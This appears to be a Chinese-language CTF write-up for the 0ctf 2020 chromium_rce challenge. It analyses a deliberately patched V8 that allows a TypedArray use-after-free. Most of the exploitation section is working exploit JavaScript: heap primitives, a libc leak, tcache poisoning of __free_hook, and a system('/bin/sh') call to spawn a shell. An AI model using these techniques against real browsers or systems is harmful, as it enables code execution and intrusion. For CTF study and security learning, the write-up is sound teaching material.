沙箱逃逸之0ctf2020 chromium_rce writeup
字数 967 2025-08-06 18:08:01
Chromium V8沙箱逃逸漏洞分析与利用教程
漏洞背景
本教程分析的是0ctf 2020比赛中的Chromium RCE题目,涉及V8引擎中的沙箱逃逸漏洞。题目包含三个部分:
- 对打了补丁的V8进行利用
- 在Chrome中开启Mojo实现沙箱逃逸
- 结合前两部分实现完整利用链
本教程重点分析第一部分——V8漏洞的利用。
环境准备
编译特定版本V8
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync
git apply < ../tctf.diff
tools/dev/gm.py x64.release
tools/dev/gm.py x64.debug
题目文件
- d8:V8的JavaScript shell
- snapshot_blob.bin:V8快照文件
- tctf.diff:漏洞补丁文件
漏洞分析
TypedArray.prototype.set功能
TypedArray.prototype.set()方法用于从指定数组中读取值并存储在类型化数组中:
typedarray.set(array[, offset])
typedarray.set(typedarray[, offset])
示例:
var buffer = new ArrayBuffer(8);
var uint8 = new Uint8Array(buffer);
uint8.set([1, 2, 3], 3);
console.log(uint8); // Uint8Array [0, 0, 0, 1, 2, 3, 0, 0]
补丁分析
关键补丁有两部分:
- 移除内存检查:
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast(target);
...
- const utypedArray = typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast(typedArray);
原EnsureAttached函数会检查缓冲区是否已释放:
macro EnsureAttached(array: JSTypedArray): AttachedJSTypedArray labels Detached {
if (IsDetachedBuffer(array.buffer)) goto Detached;
return %RawDownCast(array);
}
- 允许直接调用内部函数:
case Token::MOD:
- if (flags().allow_natives_syntax() || extension_ != nullptr) {
- return ParseV8Intrinsic();
- }
- break;
+ // Directly call %ArrayBufferDetach without `--allow-native-syntax` flag
+ return ParseV8Intrinsic();
但限制只能调用%ArrayBufferDetach:
+ // Only %ArrayBufferDetach allowed
+ if (function->function_id != Runtime::kArrayBufferDetach) {
+ return factory()->NewUndefinedLiteral(kNoSourcePosition);
+ }
漏洞原理
结合这两个补丁:
- 可以直接使用
%ArrayBufferDetach释放TypedArray的数据内存 - 释放后仍可调用
TypedArray.prototype.set操作该内存 - 形成Use-After-Free (UAF)漏洞
漏洞利用
基础原语构造
// 分配内存
function calloc(size) {
let uint8 = new Uint8Array(size);
return uint8;
}
function malloc(size) {
var malloc_size = {};
malloc_size.length = size;
let uint8 = new Uint8Array(malloc_size);
return uint8;
}
// 释放内存
function free(ptr) {
%ArrayBufferDetach(ptr.buffer);
}
// 读写原语
function write64(ptr, offset, val) {
let dv = new DataView(ptr.buffer);
dv.setBigInt64(offset, val, true);
return;
}
function read64(ptr, offset) {
let dv = new DataView(ptr.buffer);
val = dv.getBigInt64(offset, true);
return val;
}
利用步骤
- 泄露libc地址:
// 分配大块内存(0x600)
let leak_ptr = calloc(0x600);
let read_ptr = calloc(0x600);
// 分配包含"/bin/sh"的块
let gap = calloc(0x100);
write64(gap, 0, 0x68732f6e69622fn);
// 释放大块到unsorted bin
free(leak_ptr);
// 利用UAF泄露libc地址
read_ptr.set(leak_ptr);
let libc_base = read64(read_ptr, 8) - 0x1ebbe0n;
console.log("[+] libc base: 0x" + hex(libc_base));
- 控制tcache:
// 分配tcache块(0x60)
let evil_ptr = malloc(0x60);
let evil_ptr1 = malloc(0x60);
let write_ptr = malloc(0x60);
// 准备free_hook地址
write64(write_ptr, 0, free_hook);
// 释放块到tcache
free(evil_ptr1);
free(evil_ptr);
// 修改tcache fd指向free_hook
evil_ptr.set(write_ptr);
// 分配出tcache块
let reserved_ptr = malloc(0x60);
let free_hook_ptr = malloc(0x60);
- 获取shell:
// 写入system地址到free_hook
write64(free_hook_ptr, 0, system_addr);
// 释放包含"/bin/sh"的块触发system
free(gap);
关键点说明
-
内存分配差异:
new Uint8Array(size)使用calloc分配new Uint8Array({length: size})使用malloc分配
-
调试技巧:
- 建议移除对内置函数的限制,方便使用
%DebugPrint等调试函数 - 使用gdb调试时关注内存分配和释放过程
- 建议移除对内置函数的限制,方便使用
-
利用限制:
- 题目限制了只能使用
%ArrayBufferDetach内置函数 - 需要精确控制堆布局
- 题目限制了只能使用
总结
本漏洞展示了如何利用V8引擎中TypedArray的内存管理缺陷实现沙箱逃逸。关键点包括:
- 绕过内存释放检查
- 构造UAF原语
- 利用堆管理机制泄露地址
- 通过tcache poisoning实现任意地址写
这种类型的漏洞在浏览器安全中具有重要意义,理解其原理有助于开发更安全的JavaScript引擎和防御措施。